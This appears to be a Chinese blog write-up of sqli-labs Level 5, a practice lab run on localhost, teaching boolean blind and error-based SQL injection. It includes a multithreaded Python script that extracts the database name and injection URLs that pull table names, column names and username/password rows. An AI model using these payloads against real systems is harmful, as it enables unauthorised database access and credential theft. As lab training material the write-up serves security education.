sqli-labs第五关(配合布尔盲注以及python脚本))

进入第五关,正常显示如下:
image.png
加入单引号,判断到id就是一个注入点,根据提示信息可以知道id是一个字符型注入,测试得知应该原语句是这样的:

select * from 'xxx' where id='$id' ........

image.png
所以进行接下来的判断,发现我们的猜想是正确的:
image.pngimage.png
我们观察源代码可知,只要查询到了数据就不会回显,所以我们试一试盲注
image.png
布尔盲注原理:
我们可以根据判断语句的布尔值正确来“猜测”我们所想要的数据
例如:
http://127.0.0.1/sqli-labs/Less-5/?id=1'(http://127.0.0.1/sqli-labs/Less-5/?id=1') and 1=2 %23(and前有数据,and后是错误语句。所以界面不显示正常界面)
image.png
http://127.0.0.1/sqli-labs/Less-5/?id=1'(http://127.0.0.1/sqli-labs/Less-5/?id=1') and 1=1 %23(and前有数据,and后是错误语句。所以界面显示正常界面)
image.png
例如查询:database的长度是否是小于8的,界面回显错误
image.png
查询:database的长度是否是小于9的,界面回显正确,那么我们就猜出了database的长度是8
image.png
那么这样就简单了,我可以使用多年前学会的python写一个脚本自动判断是正确界面还是错误界面不就好了(多线程更快哦)
image.png
这不就跑出来了嘛,数据库名:security,那我们不是想怎么样就怎么样了嘛

#网上大多是单线程查询,效率过慢,此旨在开发多线程扫描
from turtle import update
from xml.etree.ElementTree import tostring
import requests
import _thread
import time

def thread_check(ipz):
    global jia
    global database_name
    for tail in chars:
        html_head="http://127.0.0.1/sqli-labs/Less-5/?id=1' and mid(database(),"+str(ipz+1)+",1)='"+tail+"' %23"#-->拼接布尔注入的代码
        html_check=requests.get(html_head)
        html_check_bytes=html_check.content
        html_check_str=html_check_bytes.decode()
        if(html_check_str==html_str):
            update_shu=tail+str(ipz)
            database_name[ipz]=tail
            print(database_name)
            jia=jia+1
            break

html = requests.get('http://127.0.0.1/sqli-labs/Less-5/?id=1')#得到一个Response对象
html_bytes = html.content#属性.content用来显示bytes型网页的源代码
html_str = html_bytes.decode()#属性.decode()用来把bytes型的数据解码为字符串型的数据,默认编码格式UTF-8  -->这里存着正确的界面
database_name=[0,0,0,0,0,0,0,0]#根据判断出的database()名的length来定义数组
chars=[]
jia=0
for i in range(97,123):
    chars.append(chr(i))
for ipz in range(8):    
    try:
        _thread.start_new_thread( thread_check, (ipz,) )
    except:
        print ("Error: 无法启动线程")
while 1:
    pass

查询到库名,下面就是表名

http://127.0.0.1/sqli-labs/Less-5/?id=3'  and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>100 %23

image.png
100正常,101报错,所以第一个字符为e
…省略(也可以跟查询表名一样写一个脚本)
查询到表名为email
可以用 limit来查其他的表名

查"users"的字段名:

http://127.0.0.1/sqli-labs/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(column_name,';') from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2)) as x from information_schema.columns group by x) as a) %23

image.png
查到了id
limit 1,1是username
limit 2,1是password

查询username字段值

http://127.0.0.1/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand()*2)) as x from security.users group by x) as a)%23

image.png
查询password字段值

http://127.0.0.1/sqli-labs/Less-5/?id=1' and(select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 1,1),floor(rand()*2)) as x from security.users group by x) as a)%23

image.png

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值